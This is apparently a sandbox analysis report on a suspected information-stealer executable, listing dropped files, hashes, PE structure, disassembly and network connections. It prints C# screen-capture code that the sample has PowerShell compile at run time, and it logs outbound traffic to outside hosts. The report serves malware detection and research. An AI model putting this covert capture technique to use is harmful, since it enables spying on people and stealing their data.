SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qtzrjp1b.50z.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rf04ztue.v4f.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sm2g44o5.tm3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uswaxbu5.g2u.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vqgwfbgp.bar.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xm5ml0fq.wp2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zazph0yb.xza.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\c3m2uwl3\CSC33F8CF1FA9DB4434A25723BA384E2070.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.1140582735284434
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5grynAak7Ynqq8lPN5Dlq5J:+RI+ycuZhNdAakS8lPNnqX
MD5:	FB2FC8E18272AD52F18208F56C5E1FC6
SHA1:	63AB994B9DE7EC22ACE1486A8AC75184CDE33A2B
SHA-256:	39A6B79462E7EA57FE551E2CD59C36C2EFFE8ACC6D67D6924A757D133D73A6AF
SHA-512:	5CBA3A2B79E80FC5DBF7663D5EB88DB12DBDDC67AC3AD5F21FDCC6E89FF323B25E315A5F3D4650C4A804213C4204F91FF4A6BBD15EEC863B711ABB704E83259B
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...c.3.m.2.u.w.l.3...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...c.3.m.2.u.w.l.3...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\c3m2uwl3\c3m2uwl3.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	4.154581034278981
Encrypted:	false
SSDEEP:	24:Jo4KMz04F03wykl4qk6oAuBGOUBrRmLW+7UCPa:Jo4hz0BAl4xBQ0XQCC
MD5:	C76055A0388B713A1EABE16130684DC3
SHA1:	EE11E84CF41D8A43340F7102E17660072906C402
SHA-256:	8A3CD008E86A3D835F55F8415F5FD264C6DACDF0B7286E6854EA3F5A363390E7
SHA-512:	22D2804491D90B03BB4B640CB5E2A37D57766C6D82CAF993770DCF2CF97D0F07493C870761F3ECEA15531BD434B780E13AE065A1606681B32A77DBF6906FB4E2
Malicious:	false
Preview:	.using System;..using System.Collections.Generic;..using System.Drawing;..using System.Windows.Forms;....public class Screenshot..{.. public static List<Bitmap> CaptureScreens().. {.. var results = new List<Bitmap>();.. var allScreens = Screen.AllScreens;.... foreach (Screen screen in allScreens).. {.. try.. {.. Rectangle bounds = screen.Bounds;.. using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)).. {.. using (Graphics graphics = Graphics.FromImage(bitmap)).. {.. graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size);.. }.... results.Add((Bitmap)bitmap.Clone());.. }.. }.. catch (Exception).. {.. // Handle any exceptions here.. }.. }.... return results;..

C:\Users\user\AppData\Local\Temp\c3m2uwl3\c3m2uwl3.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (602), with no line terminators
Category:	dropped
Size (bytes):	605
Entropy (8bit):	5.32847055359316
Encrypted:	false
SSDEEP:	12:p37Lvkmb6KOkqe1xBkrk+ikywZlJNqWZEmwZlJNP:V3ka6KOkqeFkywZLNLEmwZLNP
MD5:	AEDFC64557B6F34DD38D424B7F29C3AC
SHA1:	D83F5FA2C5445D931E5D13A479B0EAF607C34FD9
SHA-256:	CEA30CB802B48EAF9ABD99C363BAD4749E4E990B5FC906FB5A77509DCA24A970
SHA-512:	F6F8F3AA99993D4300998C99C7D3C151805F8D83AA95BD1F5AB056034308CE137A21F8A7B0CAF713B3D4D7D715B04EB7EE9FE4D8C2EDF35E7A630276F8CC79DA
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" /out:"C:\Users\user\AppData\Local\Temp\c3m2uwl3\c3m2uwl3.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\c3m2uwl3\c3m2uwl3.0.cs"

C:\Users\user\AppData\Local\Temp\c3m2uwl3\c3m2uwl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	3.157698300889665
Encrypted:	false
SSDEEP:	48:6w7oEAtf0KhzBU/Sf6mtJ5N0ypW1ul+a3qq:INz0dmhOAwK
MD5:	610AE113CAFEA9C4E817CF31B44DFF62
SHA1:	C750EADDD9C7779914F21932704E899C1A537B97
SHA-256:	25059A20725DD4455B81118294B8119998D7078CEC09C9FD21A701E4B29C036E
SHA-512:	CF82D8F6DCAB143BC6475938325D022FF4AD3F2D30E82470414573C0F2AAEB96DA6BC925E1037ED9B5DE838460C29C592F113F64F98DF132D0F787223304FC96
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Nf...........!.................&... ...@....... ....................................@..................................%..K....@.......................`....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................&......H.......<!...............................................................0..........s.....(...........8...........o.......(......(....s........(..........(......(....s....~......(....o........,...o........o....t....o........,...o.......&.....X.......i?k.......(....B.(j........9.Q...........{.........(....BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID...........#Blob...........G.........%3............................................

C:\Users\user\AppData\Local\Temp\c3m2uwl3\c3m2uwl3.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (705), with CRLF, CR line terminators
Category:	modified
Size (bytes):	1146
Entropy (8bit):	5.497753934515472
Encrypted:	false
SSDEEP:	24:KTwZnDkId3ka6KOkqeFkywZLNLEmwZLN2Kax5DqBVKVrdFAMBJTH:mwZnDkkka6NkqeFkywZhEmwZYK2DcVKN
MD5:	62E47E855EBE317D0B7608686F8641C8
SHA1:	C407B10949CDA00A3E061ECCEF3DF2E2FF48D545
SHA-256:	77F407B02ED6E6B26D15758154FC45CB794A1AF5014ED2427613EBF73E356387
SHA-512:	7C8CFDD912411F13C8EA3FEF960B907CD4F2C9D49C9638EB048DCCE38958B203CF51A43B9BFC91A59D8E0A7163BDCD14A87572FC44F8A1F3ABE0ABA172B3F904
Malicious:	false
Preview:	.C:\Users\user\AppData\Local\Temp\..........> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" /out:"C:\Users\user\AppData\Local\Temp\c3m2uwl3\c3m2uwl3.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\c3m2uwl3\c3m2uwl3.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer t

\Device\ConDrv

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.331807756485642
Encrypted:	false
SSDEEP:	3:lyAZFXZDLsFzAXmZrCZDL4QXAVJK4v:lyqBtoJAXmoZDL4CA1v
MD5:	195D02DA13D597A52F848A9B28D871F6
SHA1:	D048766A802C61655B9689E953103236EACCB1C7
SHA-256:	ADE5C28A2B27B13EFB1145173481C1923CAF78648E49205E7F412A2BEFC7716A
SHA-512:	1B9EDA54315B0F8DB8E43EC6E78996464A90E84DE721611647E8395DBE259C282F06FB6384B08933F8F0B452B42E23EE5A7439974ACC5F53DAD64B08D39F4146
Malicious:	false
Preview:	..Service Version: 0.0.0.0..Engine Version: 0.0.0.0....No engine/signature is currently loaded...

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.9923255929664
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
File size:	7'266'369 bytes
MD5:	030c3c535b2d8f10ceaeede6e3fe23f2
SHA1:	032ef2c8e717960d9b49dd7e48e4fc761cb4cfed
SHA256:	e57e596af8f957f936d2a698b1a66697a1a7390eadb08af386060130d342db2d
SHA512:	86499b8990f5f591927c7bdf6af18fe74400812104661ac870409ac5025cecc2bf29c890046f961d69b3a00c632bf6f05ac6b501e4b832769ba2f46258c29e35
SSDEEP:	98304:bFzHqdVfB2FS27wbuyuT/9vUIdD9C+z3zO917vOTh+ezDNh7xvmJ1nmOBN9n4mp3:b5QsJbT/9bvLz3S1bA3zgn97v3
TLSH:	3D7633AAA3C149F5E477863DC2C28905DAB075270364DACB03F4A6B21F17ED58D3BB52
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................................-.....................,.............................................................Rich...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x14000c330
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x65FE458B [Sat Mar 23 02:59:23 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	2
File Version Major:	5
File Version Minor:	2
Subsystem Version Major:	5
Subsystem Version Minor:	2
Import Hash:	1af6c885af093afc55142c2f1761dbe8

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Sectigo Public Code Signing CA EV R36, O=Sectigo Limited, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	29/09/2021 01:00:00 29/09/2024 00:59:59
Subject Chain	CN=Akeo Consulting, O=Akeo Consulting, S=Donegal, C=IE, OID.2.5.4.15=Private Organization, OID.1.3.6.1.4.1.311.60.2.1.3=IE, SERIALNUMBER=407950
Version:	3
Thumbprint MD5:	5C82B2D08EFE6EE0794B52D4309C5F37
Thumbprint SHA-1:	3DBC3A2A0E9CE8803B422CFDBC60ACD33164965D
Thumbprint SHA-256:	60E992275CC7503A3EBA5D391DB8AEAAAB001402D49AEA3F7F5DA3706DF97327
Serial:	00BFB15001BBF592D4962A7797EA736FA3

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F8E64B8912Ch
dec eax
add esp, 28h
jmp 00007F8E64B88D4Fh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
dec eax
sub esp, 28h
call 00007F8E64B896A4h
test eax, eax
je 00007F8E64B88EF3h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ecx, dword ptr [eax+08h]
jmp 00007F8E64B88ED7h
dec eax
cmp ecx, eax
je 00007F8E64B88EE6h
xor eax, eax
dec eax
cmpxchg dword ptr [000351BCh], ecx
jne 00007F8E64B88EC0h
xor al, al
dec eax
add esp, 28h
ret
mov al, 01h
jmp 00007F8E64B88EC9h
int3
int3
int3
dec eax
sub esp, 28h
test ecx, ecx
jne 00007F8E64B88ED9h
mov byte ptr [000351A5h], 00000001h
call 00007F8E64B894B1h
call 00007F8E64B89AB8h
test al, al
jne 00007F8E64B88ED6h
xor al, al
jmp 00007F8E64B88EE6h
call 00007F8E64B97A1Fh
test al, al
jne 00007F8E64B88EDBh
xor ecx, ecx
call 00007F8E64B89AC8h
jmp 00007F8E64B88EBCh
mov al, 01h
dec eax
add esp, 28h
ret
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
cmp byte ptr [0003516Ch], 00000000h
mov ebx, ecx
jne 00007F8E64B88F39h
cmp ecx, 01h
jnbe 00007F8E64B88F3Ch
call 00007F8E64B8961Ah
test eax, eax
je 00007F8E64B88EFAh
test ebx, ebx
jne 00007F8E64B88EF6h
dec eax
lea ecx, dword ptr [00035156h]
call 00007F8E64B97812h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3e094	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x47000	0x944	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x43000	0x2304	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x6ebbf9	0x2448
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x48000	0x758	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3b440	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x3b300	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2c000	0x420	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2adb0	0x2ae00	75d19a4940b1c41e95d0f65f35d07455	False	0.5456735149416909	data	6.502519008894634	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2c000	0x12ebc	0x13000	0cf19f6ad5be1ba2b4a4b3f42e838817	False	0.515393708881579	data	5.816356361767986	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3f000	0x33b8	0xe00	c77d6acf176d4b487ea671c3fd3a6945	False	0.13392857142857142	firmware 32a2 vdf2d (revision 2569732096) \377\377\377\377 , version 256.0.512, 0 bytes or less, at 0xcd5d20d2 1725235199 bytes , at 0 0 bytes , at 0xffffffff 16777216 bytes	1.828047079050098	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x43000	0x2304	0x2400	f9c9a5a34be2cb8fd1246f51c7b22c72	False	0.4797092013888889	data	5.38202672986895	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0x46000	0x1f4	0x200	4ec0234c233e8c5ae54cd80f9630ff86	False	0.525390625	data	3.698330622853966	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x47000	0x944	0xa00	30edc79cb3b52956b6a45d27978d1b89	False	0.425	data	5.117264574383496	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x48000	0x758	0x800	f1d633c1708caf707b59b5e59d6f78b3	False	0.54443359375	data	5.24651730799357	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x470a0	0x394	OpenPGP Secret Key			0.45087336244541487
RT_MANIFEST	0x47434	0x50d	XML 1.0 document, ASCII text			0.4694508894044857

Imports

DLL	Import
USER32.dll	CreateWindowExW, MessageBoxW, MessageBoxA, SystemParametersInfoW, DestroyIcon, SetWindowLongPtrW, GetWindowLongPtrW, GetClientRect, InvalidateRect, ReleaseDC, GetDC, DrawTextW, GetDialogBaseUnits, EndDialog, DialogBoxIndirectParamW, MoveWindow, SendMessageW
COMCTL32.dll
KERNEL32.dll	IsValidCodePage, GetStringTypeW, GetFileAttributesExW, HeapReAlloc, FlushFileBuffers, GetCurrentDirectoryW, GetACP, GetOEMCP, GetModuleHandleW, MulDiv, GetLastError, SetDllDirectoryW, GetModuleFileNameW, CreateSymbolicLinkW, GetProcAddress, GetCommandLineW, GetEnvironmentVariableW, GetCPInfo, ExpandEnvironmentStringsW, CreateDirectoryW, GetTempPathW, WaitForSingleObject, Sleep, GetExitCodeProcess, CreateProcessW, GetStartupInfoW, FreeLibrary, LoadLibraryExW, SetConsoleCtrlHandler, FindClose, FindFirstFileExW, CloseHandle, GetCurrentProcess, LocalFree, FormatMessageW, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, GetProcessHeap, GetTimeZoneInformation, HeapSize, WriteConsoleW, SetEndOfFile, SetEnvironmentVariableW, RtlUnwindEx, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, RaiseException, RtlPcToFileHeader, GetCommandLineA, CreateFileW, GetDriveTypeW, GetFileInformationByHandle, GetFileType, PeekNamedPipe, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, GetFullPathNameW, RemoveDirectoryW, FindNextFileW, SetStdHandle, DeleteFileW, ReadFile, GetStdHandle, WriteFile, ExitProcess, GetModuleHandleExW, HeapFree, GetConsoleMode, ReadConsoleW, SetFilePointerEx, GetConsoleOutputCP, GetFileSizeEx, HeapAlloc, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, CompareStringW, LCMapStringW
ADVAPI32.dll	OpenProcessToken, GetTokenInformation, ConvertStringSecurityDescriptorToSecurityDescriptorW, ConvertSidToStringSidW
GDI32.dll	SelectObject, DeleteObject, CreateFontIndirectW

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 23, 2024 01:36:49.175780058 CEST	49714	80	192.168.2.9	208.95.112.1
May 23, 2024 01:36:49.181057930 CEST	80	49714	208.95.112.1	192.168.2.9
May 23, 2024 01:36:49.181145906 CEST	49714	80	192.168.2.9	208.95.112.1
May 23, 2024 01:36:49.181269884 CEST	49714	80	192.168.2.9	208.95.112.1
May 23, 2024 01:36:49.232743025 CEST	80	49714	208.95.112.1	192.168.2.9
May 23, 2024 01:36:49.702807903 CEST	80	49714	208.95.112.1	192.168.2.9
May 23, 2024 01:36:49.754935980 CEST	49714	80	192.168.2.9	208.95.112.1
May 23, 2024 01:36:49.902086973 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:49.902138948 CEST	443	49715	162.159.135.232	192.168.2.9
May 23, 2024 01:36:49.902286053 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:49.928217888 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:49.928237915 CEST	443	49715	162.159.135.232	192.168.2.9
May 23, 2024 01:36:50.402914047 CEST	443	49715	162.159.135.232	192.168.2.9
May 23, 2024 01:36:50.403409958 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.403436899 CEST	443	49715	162.159.135.232	192.168.2.9
May 23, 2024 01:36:50.404323101 CEST	443	49715	162.159.135.232	192.168.2.9
May 23, 2024 01:36:50.404385090 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.405066967 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.405124903 CEST	443	49715	162.159.135.232	192.168.2.9
May 23, 2024 01:36:50.405412912 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.405419111 CEST	443	49715	162.159.135.232	192.168.2.9
May 23, 2024 01:36:50.405644894 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.405673027 CEST	443	49715	162.159.135.232	192.168.2.9
May 23, 2024 01:36:50.405750036 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.405776978 CEST	443	49715	162.159.135.232	192.168.2.9
May 23, 2024 01:36:50.405874968 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.405889034 CEST	443	49715	162.159.135.232	192.168.2.9
May 23, 2024 01:36:50.406244993 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.406256914 CEST	443	49715	162.159.135.232	192.168.2.9
May 23, 2024 01:36:50.406276941 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.406284094 CEST	443	49715	162.159.135.232	192.168.2.9
May 23, 2024 01:36:50.406321049 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.406328917 CEST	443	49715	162.159.135.232	192.168.2.9
May 23, 2024 01:36:50.406404018 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.406409979 CEST	443	49715	162.159.135.232	192.168.2.9
May 23, 2024 01:36:50.406428099 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.406439066 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.406440973 CEST	443	49715	162.159.135.232	192.168.2.9
May 23, 2024 01:36:50.406447887 CEST	443	49715	162.159.135.232	192.168.2.9
May 23, 2024 01:36:50.406452894 CEST	49715	443	192.168.2.9	162.159.135.232
May 23, 2024 01:36:50.406457901 CEST	443	49715	162.159.135.232	192.168.2.9
May 23, 2024 01:36:50.406521082 CEST	49715	443	192.168.2.9	162.159.135.232
